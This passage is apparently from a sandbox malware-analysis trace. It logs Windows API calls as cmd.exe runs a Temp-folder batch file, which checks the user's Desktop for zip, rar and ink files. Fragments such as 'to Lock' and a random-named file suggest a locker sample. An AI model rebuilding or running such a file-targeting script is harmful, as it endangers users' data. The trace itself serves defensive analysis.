(in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0039.360] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\nf %RANDOM%.XL\r\n\n") returned 2 [0039.360] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.360] GetFileType (hFile=0x74) returned 0x1 [0039.360] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.360] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0039.360] GetProcessHeap () returned 0x4e0000 [0039.361] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.361] GetProcessHeap () returned 0x4e0000 [0039.361] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.361] _tell (_FileHandle=3) returned 3616 [0039.361] _close (_FileHandle=3) returned 0 [0039.361] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.361] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=3616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0039.361] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.361] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe20 [0039.361] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x180d, lpOverlapped=0x0) returned 1 [0039.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0039.362] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0039.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.362] GetFileType (hFile=0x74) returned 0x1 [0039.362] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.362] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0039.362] GetProcessHeap () returned 0x4e0000 [0039.362] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.362] GetProcessHeap () returned 0x4e0000 [0039.362] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.362] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.362] GetProcessHeap () returned 0x4e0000 [0039.362] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.362] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.362] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.362] GetProcessHeap () returned 0x4e0000 [0039.362] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.362] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.362] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.362] GetProcessHeap () returned 0x4e0000 [0039.362] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.362] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.362] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.363] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.363] GetProcessHeap () returned 0x4e0000 [0039.363] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.363] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.363] GetProcessHeap () returned 0x4e0000 [0039.363] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.363] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.363] GetProcessHeap () returned 0x4e0000 [0039.363] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.363] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.364] _tell (_FileHandle=3) returned 3641 [0039.364] _close (_FileHandle=3) returned 0 [0039.364] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0039.364] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.364] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.364] GetLastError () returned 0x2 [0039.364] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.364] GetLastError () returned 0x6 [0039.364] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.364] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.365] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.365] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.365] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.365] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.366] SetConsoleInputExeNameW () returned 0x1 [0039.366] GetConsoleOutputCP () returned 0x1b5 [0039.366] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.366] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.366] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.366] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.366] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.366] SetFilePointer (in: hFile=0x74, lDistanceToMove=3641, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0039.366] GetProcessHeap () returned 0x4e0000 [0039.366] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.366] GetProcessHeap () returned 0x4e0000 [0039.366] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.366] GetProcessHeap () returned 0x4e0000 [0039.366] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.366] GetProcessHeap () returned 0x4e0000 [0039.366] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.367] GetProcessHeap () returned 0x4e0000 [0039.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.367] GetProcessHeap () returned 0x4e0000 [0039.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.367] GetProcessHeap () returned 0x4e0000 [0039.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.367] GetProcessHeap () returned 0x4e0000 [0039.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.367] GetProcessHeap () returned 0x4e0000 [0039.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.367] GetProcessHeap () returned 0x4e0000 [0039.367] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.367] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe39 [0039.367] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f4, lpOverlapped=0x0) returned 1 [0039.367] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0039.367] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.zip goto zip\r\n\n\n") returned 2 [0039.367] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.367] GetFileType (hFile=0x74) returned 0x1 [0039.367] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.368] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0039.368] GetProcessHeap () returned 0x4e0000 [0039.368] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.368] GetProcessHeap () returned 0x4e0000 [0039.368] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.368] _tell (_FileHandle=3) returned 3643 [0039.368] _close (_FileHandle=3) returned 0 [0039.368] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.368] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.368] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.368] SetFilePointer (in: hFile=0x74, lDistanceToMove=3643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0039.368] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.368] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe3b [0039.369] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17f2, lpOverlapped=0x0) returned 1 [0039.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0039.369] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.rar goto rar\r\n\n\n") returned 25 [0039.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.369] GetFileType (hFile=0x74) returned 0x1 [0039.369] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.369] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0039.369] GetProcessHeap () returned 0x4e0000 [0039.369] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.369] GetProcessHeap () returned 0x4e0000 [0039.369] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.369] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.369] GetProcessHeap () returned 0x4e0000 [0039.369] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.369] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.369] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.369] GetProcessHeap () returned 0x4e0000 [0039.369] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.369] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.370] GetProcessHeap () returned 0x4e0000 [0039.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.370] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.370] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.370] GetProcessHeap () returned 0x4e0000 [0039.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.370] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.370] GetProcessHeap () returned 0x4e0000 [0039.370] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.370] GetProcessHeap () returned 0x4e0000 [0039.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.370] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.371] _tell (_FileHandle=3) returned 3668 [0039.371] _close (_FileHandle=3) returned 0 [0039.371] GetFullPathNameW (in: lpFileName="*.rar", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", lpFilePart=0x41eea8*="*.rar") returned 0x2b [0039.371] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.371] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.rar", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.372] GetLastError () returned 0x2 [0039.372] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.372] GetLastError () returned 0x6 [0039.372] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.372] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.374] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.374] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.374] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.375] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.375] SetConsoleInputExeNameW () returned 0x1 [0039.375] GetConsoleOutputCP () returned 0x1b5 [0039.375] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.375] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.375] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.375] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.375] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.375] SetFilePointer (in: hFile=0x74, lDistanceToMove=3668, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.376] GetProcessHeap () returned 0x4e0000 [0039.376] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.376] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.376] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe54 [0039.377] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d9, lpOverlapped=0x0) returned 1 [0039.377] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0039.377] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.rar goto rar\r\n\n\n") returned 2 [0039.377] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.377] GetFileType (hFile=0x74) returned 0x1 [0039.377] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.377] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0039.377] GetProcessHeap () returned 0x4e0000 [0039.377] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.377] GetProcessHeap () returned 0x4e0000 [0039.377] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.377] _tell (_FileHandle=3) returned 3670 [0039.377] _close (_FileHandle=3) returned 0 [0039.377] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.377] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.378] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.378] SetFilePointer (in: hFile=0x74, lDistanceToMove=3670, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0039.378] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.378] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe56 [0039.378] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x17d7, lpOverlapped=0x0) returned 1 [0039.378] SetFilePointer (in: hFile=0x74, lDistanceToMove=3695, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0039.378] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.ink goto ink\r\n\n\n") returned 25 [0039.378] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.378] GetFileType (hFile=0x74) returned 0x1 [0039.378] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.378] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xe6f [0039.378] GetProcessHeap () returned 0x4e0000 [0039.378] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.378] GetProcessHeap () returned 0x4e0000 [0039.378] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.378] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.379] GetProcessHeap () returned 0x4e0000 [0039.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.379] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.379] GetProcessHeap () returned 0x4e0000 [0039.379] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.379] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.379] GetProcessHeap () returned 0x4e0000 [0039.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.379] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.379] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.379] GetProcessHeap () returned 0x4e0000 [0039.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.379] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.379] GetProcessHeap () returned 0x4e0000 [0039.379] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.379] GetProcessHeap () returned 0x4e0000 [0039.379] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.380] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.381] _tell (_FileHandle=3) returned 3695 [0039.381] _close (_FileHandle=3) returned 0 [0039.381] GetFullPathNameW (in: lpFileName="*.ink", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", lpFilePart=0x41eea8*="*.ink") returned 0x2b [0039.381] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.381] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ink", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.381] GetLastError () returned 0x2 [0039.381] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.382] GetLastError () returned 0x6 [0039.382] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.382] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.382] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.382] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.382] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.382] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.382] SetConsoleInputExeNameW () returned 0x1 [0039.383] GetConsoleOutputCP () returned 0x1b5 [0039.383] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.383] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.383] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.383] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.383] _get_osfhandle (_FileHandle=3) returned 